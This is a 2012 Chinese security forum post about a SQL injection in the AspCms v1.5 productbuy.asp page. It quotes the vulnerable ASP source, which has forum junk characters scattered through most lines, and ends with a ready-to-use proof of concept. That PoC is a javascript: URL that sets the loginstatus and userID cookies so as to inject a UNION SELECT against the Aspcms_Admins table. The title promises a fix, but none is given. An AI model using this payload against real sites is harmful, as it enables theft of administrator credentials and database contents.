找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2180|回复: 0
打印 上一主题 下一主题

AspCms_v1.5_20110517 SQL注射漏洞及修复

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-27 08:35:05 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
好久没上土司了,上来一看发现在删号名单内.....
3 D7 E2 ^& \; Y* {- t也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。
1 j7 Y! w3 f. [1 H; D2 Q废话不多说,看代码:' p: _% F  o8 f: k# X) a

. T' @( g: c$ ?* ]2 C1 W<%' y1 h# E3 o7 k) A- I
, B- B' U- V: {( T: ^& y
if action = "buy" then
/ D/ J8 G4 `& Q
* U( y  Q4 }: _% L3 d        addOrder()
2 Y, e; g4 [2 A7 k8 H$ B: Z7 o% |
9 b& a% |5 b8 R# u: j- ^else: i* D6 e0 Q: y9 ]4 J) a& U
& p" N- a3 f3 [2 \) D
        echoContent()6 ^# n; ]6 O' R9 l
  D% `9 U2 y' w: V, w
end if* z. e5 \6 {  u  p7 k- {
0 K8 T. L2 l, r" n

0 b, }. U* H& w/ s4 u- R+ n% q3 E* f3 {0 l
……略过: E; E8 u4 _* L' p( _. t! H

7 ?3 e1 u; m$ J/ D/ S3 J4 N/ E8 _; _% a3 k7 s8 {' z$ y2 n& {

$ l; V* ^% h! Y6 ySub echoContent()$ Q1 \% a* i' _
! a6 s* ?( e  G7 ~: V, M
        dim id
& P- w! V- e% R. i# Y% K  B: x! V; j/ e. ~
        id=getForm("id","get")8 ?( E- S' j) H/ b9 m7 I! D

, [8 [% h9 b: N+ }% \( N        
" D! N; Y- |% R0 h5 S  b7 i5 O* U0 H. ?- M0 t+ W0 S) [
        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1"
, t" ~3 y( {, c5 l, S+ r4 E8 k! F+ j/ M/ k  y* d
        
- R8 B! L( u0 m; P5 _" b5 F4 l- P9 q% c$ P6 o) N) y, w
        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")
- _$ l) q/ R- C
6 S6 T- m6 J/ j; Z4 @' M        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct; p  O1 l* K5 G: D

- h2 C7 a8 g5 s        Dim templatePath,tempStr5 w; d0 P9 P7 z

. W# S# |6 {8 U9 T        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
. ~' Z& `0 n  j; k* X9 }, O" |5 K  w8 n( H5 w" _2 F% g  H' P

9 I7 Q+ S6 D" p% Y8 l4 q& H: A8 d
5 ^( E, Y2 d& t+ D: H9 i: `        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")
3 o- h6 E5 ?& g- L) e' o6 i) Y  V- `( V4 y5 n2 x
        selectproduct=rsObj(0)
* Q! I$ s0 j% l) Q0 a' b% h- B6 Q4 F6 n9 k
        
( ?: i, N' ?; j' _
! D) R- V, [' ?8 N3 F        Dim linkman,gender,phone,mobile,email,qq,address,postcode
0 J. s( O$ U$ t! F$ a
0 y# P0 t' t/ Y' G4 N4 Z        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",04 l5 T6 }2 c8 g  ~& A
" f0 r' {4 l8 l$ j1 M# F# d! d+ i9 U
        if rCookie("loginstatus")=1 then  
; G3 X& ^; o  g
# c% S0 J2 o) I4 L                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")1 I/ k! E) J5 Y3 W
  P* W" C2 C( G1 ?/ {* H
                linkman=rsObj("truename")
% P% U+ n( v; z
8 J+ X+ R+ M: E% q" h                gender=rsObj("gender")& T3 f0 O% C8 ^/ Q. H
' j3 _/ k% t; L! \! e
                phone=rsObj("phone")
" M1 ^& x+ P* w! w1 q$ q+ j2 L7 {( i4 Z
                mobile=rsObj("mobile")
7 v$ W: v5 f' _2 }  ~( x2 |# i3 T
                email=rsObj("email")" O& V, M0 {; f4 g8 E+ r3 D

( B! o' ^; m# Y                qq=rsObj("qq")
2 B3 `) p0 F2 e, F0 Q( Q- G9 b7 `9 r4 s; \6 u/ |/ W; C4 e$ B
                address=rsObj("address")( R1 r% P; A- T4 m+ g. _/ R* `. m
5 Y# ]+ E0 `+ L5 R; }/ r- L
                postcode=rsObj("postcode"); u! y9 m* }; f+ R8 e6 u

; ]6 N& F' F. @) I5 I3 p  _        else 0 A( g1 l( `/ m6 I$ L8 K3 u

' }0 W( N2 R1 U' d, I! m+ F                gender=1
# a3 w$ y% @: h4 F7 M& V4 G* F6 \5 C; y; ^" N% d8 S/ S0 k
        end if1 G0 r$ [8 x+ s5 }  s
! j: l5 W* {0 q3 ^
        rsObj.close()- m. O% i& D* a; R* C
: P  ]: [) W) |0 u$ e
                ( K4 m" Y2 T# m+ J& x  a' Z' y

* Y! A: ?+ U6 f. N0 W        with templateObj ! j& T" w/ g9 \5 o' M/ r  s" k

# D9 A( `7 f$ B4 R# ~  R                .content=loadFile(templatePath)        
/ \4 J3 z  Q2 u9 E8 T2 W# g" D
& [7 B" _- J1 j                .parseHtml()- Y2 C. I4 T6 j

: K0 i8 u; I1 N! w* p( t( x0 b3 ]6 N                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)+ d% m* [1 r" |( t7 d& ?1 P

; ]$ U* S! p& c( e/ k+ x                .content=replaceStr(.content,"[aspcms:linkman]",linkman)               
# ]" i7 K; X, m1 [; U$ U: ?% m6 k6 c6 Y- ]
                .content=replaceStr(.content,"[aspcms:gender]",gender)               
# ?& G5 p6 u$ ~+ F" }  @" C
3 M3 ?: B  {6 c0 ?" o+ ?/ F5 q% y                .content=replaceStr(.content,"[aspcms:phone]",phone)                5 j, G5 l2 |% _5 L# T
  |' e' {4 }4 S8 d
                .content=replaceStr(.content,"[aspcms:mobile]",mobile)                $ K5 J5 d8 ?7 m6 _0 Q- C- B
6 f. l8 Z5 s3 b' [' W7 o
                .content=replaceStr(.content,"[aspcms:email]",email)                        ) [: i; g( K- ^0 ~8 _* z" U
7 m7 v( Y3 c7 g; `- r: m
                .content=replaceStr(.content,"[aspcms:qq]",qq)                        ! K1 c: J9 x. ]5 u7 e) n

5 g0 S; M  F( X' u7 q/ c                .content=replaceStr(.content,"[aspcms:address]",address)                        
, K1 G/ x) j3 O. v: Q
0 ?, d6 o3 ^3 e$ J- K- U$ n                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        
9 B2 X  U8 p+ ?" E5 H: I% E3 ]: y
. M2 a3 J) C' p3 {                .parseCommon()                 1 H2 x/ n6 o4 s) ^6 K8 z( G, {. Q
: `6 d5 F4 p6 {9 A3 G3 d
                echo .content
4 @6 R$ z, e2 K
- R; Z) X! @* Z# M        end with
5 T# k# ?, }+ p* g+ V0 u9 b" y4 U  H3 F2 v  n: x
        set templateobj =nothing : terminateAllObjects1 \( g- g. t0 h( e
" j0 O! R1 I' F' x
End Sub
1 L- P- ^3 ?2 f9 R9 [6 W( x漏洞很明显,没啥好说的0 l: b& I! q6 x
poc:# Y8 a9 b- Q* U9 A: C. x

% s/ a* q. _7 }* d& ]9 Jjavascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子​- u6 f$ _0 m/ B9 R( j2 [/ V

! K- X; Y" M2 l: U7 e6 u
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表